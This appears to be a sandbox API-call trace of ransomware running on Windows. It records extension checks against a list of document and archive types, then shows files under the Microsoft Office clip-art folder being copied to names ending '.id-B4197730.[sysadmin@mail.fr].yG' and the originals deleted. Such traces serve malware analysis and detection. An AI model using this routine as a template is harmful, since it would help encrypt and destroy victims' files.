	[0146.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0146.797] lstrlenW (lpString=".jpg") returned 4
	[0146.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0146.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0146.797] lstrlenW (lpString=".doc") returned 4
	[0146.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.798] lstrlenW (lpString=".docx") returned 5
	[0146.798] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.798] lstrlenW (lpString=".pdf") returned 4
	[0146.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.798] lstrlenW (lpString=".xls") returned 4
	[0146.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.798] lstrlenW (lpString=".xlsx") returned 5
	[0146.798] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.798] lstrlenW (lpString=".ppt") returned 4
	[0146.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0146.798] lstrlenW (lpString=".zip") returned 4
	[0146.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.798] lstrlenW (lpString=".rar") returned 4
	[0146.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.798] lstrlenW (lpString=".bz2") returned 4
	[0146.799] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.799] lstrlenW (lpString=".7z") returned 3
	[0146.799] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0146.799] lstrlenW (lpString=".dbf") returned 4
	[0146.799] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0146.799] lstrlenW (lpString=".1cd") returned 4
	[0146.799] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0146.799] lstrlenW (lpString=".jpg") returned 4
	[0146.799] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.799] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0146.799] lstrlenW (lpString="FD00414_.WMF") returned 12
	[0146.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0146.801] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=11002) returned 1
	[0146.801] CloseHandle (hObject=0x52c) returned 1
	[0146.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220
	[0146.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0146.802] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.803] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0146.804] GetLastError () returned 0x0
	[0146.804] ReadFile (in: hFile=0x52c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2afa, lpOverlapped=0x0) returned 1
	[0146.855] WriteFile (in: hFile=0x518, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2b00, lpOverlapped=0x0) returned 1
	[0146.861] ReadFile (in: hFile=0x52c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.861] WriteFile (in: hFile=0x518, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0146.861] SetEndOfFile (hFile=0x518) returned 1
	[0146.861] CloseHandle (hObject=0x518) returned 1
	[0146.861] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.861] SetEndOfFile (hFile=0x52c) returned 1
	[0146.864] CloseHandle (hObject=0x52c) returned 1
	[0146.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0147.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1
	[0147.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0147.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0147.684] lstrlenW (lpString=".doc") returned 4
	[0147.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.684] lstrlenW (lpString=".docx") returned 5
	[0147.684] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.684] lstrlenW (lpString=".pdf") returned 4
	[0147.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.684] lstrlenW (lpString=".xls") returned 4
	[0147.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.684] lstrlenW (lpString=".xlsx") returned 5
	[0147.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.685] lstrlenW (lpString=".ppt") returned 4
	[0147.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0147.685] lstrlenW (lpString=".zip") returned 4
	[0147.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.685] lstrlenW (lpString=".rar") returned 4
	[0147.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.685] lstrlenW (lpString=".bz2") returned 4
	[0147.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.685] lstrlenW (lpString=".7z") returned 3
	[0147.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0147.685] lstrlenW (lpString=".dbf") returned 4
	[0147.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0147.685] lstrlenW (lpString=".1cd") returned 4
	[0147.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0147.685] lstrlenW (lpString=".jpg") returned 4
	[0147.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0147.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0147.685] lstrlenW (lpString=".doc") returned 4
	[0147.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.686] lstrlenW (lpString=".docx") returned 5
	[0147.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.686] lstrlenW (lpString=".pdf") returned 4
	[0147.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.686] lstrlenW (lpString=".xls") returned 4
	[0147.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.686] lstrlenW (lpString=".xlsx") returned 5
	[0147.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.686] lstrlenW (lpString=".ppt") returned 4
	[0147.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0147.686] lstrlenW (lpString=".zip") returned 4
	[0147.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.686] lstrlenW (lpString=".rar") returned 4
	[0147.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.686] lstrlenW (lpString=".bz2") returned 4
	[0147.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.686] lstrlenW (lpString=".7z") returned 3
	[0147.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0147.686] lstrlenW (lpString=".dbf") returned 4
	[0147.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0147.686] lstrlenW (lpString=".1cd") returned 4
	[0147.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0147.687] lstrlenW (lpString=".jpg") returned 4
	[0147.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.687] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0147.687] lstrlenW (lpString="FD00586_.WMF") returned 12
	[0147.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0147.688] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=752) returned 1
	[0147.688] CloseHandle (hObject=0x548) returned 1
	[0147.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220
	[0147.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0147.703] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.703] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0147.704] GetLastError () returned 0x0
	[0147.704] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2f0, lpOverlapped=0x0) returned 1
	[0147.712] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x300, lpOverlapped=0x0) returned 1
	[0147.713] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.713] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0147.714] SetEndOfFile (hFile=0x544) returned 1
	[0147.714] CloseHandle (hObject=0x544) returned 1
	[0147.714] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.714] SetEndOfFile (hFile=0x548) returned 1
	[0147.717] CloseHandle (hObject=0x548) returned 1
	[0147.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0147.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1
	[0147.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0147.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0147.719] lstrlenW (lpString=".doc") returned 4
	[0147.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.719] lstrlenW (lpString=".docx") returned 5
	[0147.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.719] lstrlenW (lpString=".pdf") returned 4
	[0147.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.719] lstrlenW (lpString=".xls") returned 4
	[0147.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.719] lstrlenW (lpString=".xlsx") returned 5
	[0147.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.719] lstrlenW (lpString=".ppt") returned 4
	[0147.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0147.719] lstrlenW (lpString=".zip") returned 4
	[0147.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.719] lstrlenW (lpString=".rar") returned 4
	[0147.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.719] lstrlenW (lpString=".bz2") returned 4
	[0147.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.719] lstrlenW (lpString=".7z") returned 3
	[0147.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0147.720] lstrlenW (lpString=".dbf") returned 4
	[0147.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0147.720] lstrlenW (lpString=".1cd") returned 4
	[0147.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0147.720] lstrlenW (lpString=".jpg") returned 4
	[0147.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0147.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0147.720] lstrlenW (lpString=".doc") returned 4
	[0147.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.720] lstrlenW (lpString=".docx") returned 5
	[0147.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.720] lstrlenW (lpString=".pdf") returned 4
	[0147.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.720] lstrlenW (lpString=".xls") returned 4
	[0147.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.720] lstrlenW (lpString=".xlsx") returned 5
	[0147.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.720] lstrlenW (lpString=".ppt") returned 4
	[0147.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0147.720] lstrlenW (lpString=".zip") returned 4
	[0147.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.721] lstrlenW (lpString=".rar") returned 4
	[0147.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.721] lstrlenW (lpString=".bz2") returned 4
	[0147.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.721] lstrlenW (lpString=".7z") returned 3
	[0147.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0147.721] lstrlenW (lpString=".dbf") returned 4
	[0147.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0147.721] lstrlenW (lpString=".1cd") returned 4
	[0147.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0147.721] lstrlenW (lpString=".jpg") returned 4
	[0147.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.721] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0147.721] lstrlenW (lpString="FD00799_.WMF") returned 12
	[0147.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0147.723] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=13968) returned 1
	[0147.723] CloseHandle (hObject=0x548) returned 1
	[0147.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220
	[0147.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0147.724] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.724] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0147.724] GetLastError () returned 0x0
	[0147.725] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x3690, lpOverlapped=0x0) returned 1
	[0148.000] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x36a0, lpOverlapped=0x0) returned 1
	[0148.001] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0148.001] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0148.001] SetEndOfFile (hFile=0x544) returned 1
	[0148.001] CloseHandle (hObject=0x544) returned 1
	[0148.002] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.002] SetEndOfFile (hFile=0x548) returned 1
	[0148.005] CloseHandle (hObject=0x548) returned 1
	[0148.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0148.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1
	[0148.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0148.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0148.010] lstrlenW (lpString=".doc") returned 4
	[0148.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.010] lstrlenW (lpString=".docx") returned 5
	[0148.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.010] lstrlenW (lpString=".pdf") returned 4
	[0148.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.010] lstrlenW (lpString=".xls") returned 4
	[0148.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.010] lstrlenW (lpString=".xlsx") returned 5
	[0148.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.011] lstrlenW (lpString=".ppt") returned 4
	[0148.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0148.011] lstrlenW (lpString=".zip") returned 4
	[0148.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.011] lstrlenW (lpString=".rar") returned 4
	[0148.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.011] lstrlenW (lpString=".bz2") returned 4
	[0148.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.011] lstrlenW (lpString=".7z") returned 3
	[0148.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0148.011] lstrlenW (lpString=".dbf") returned 4
	[0148.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0148.011] lstrlenW (lpString=".1cd") returned 4
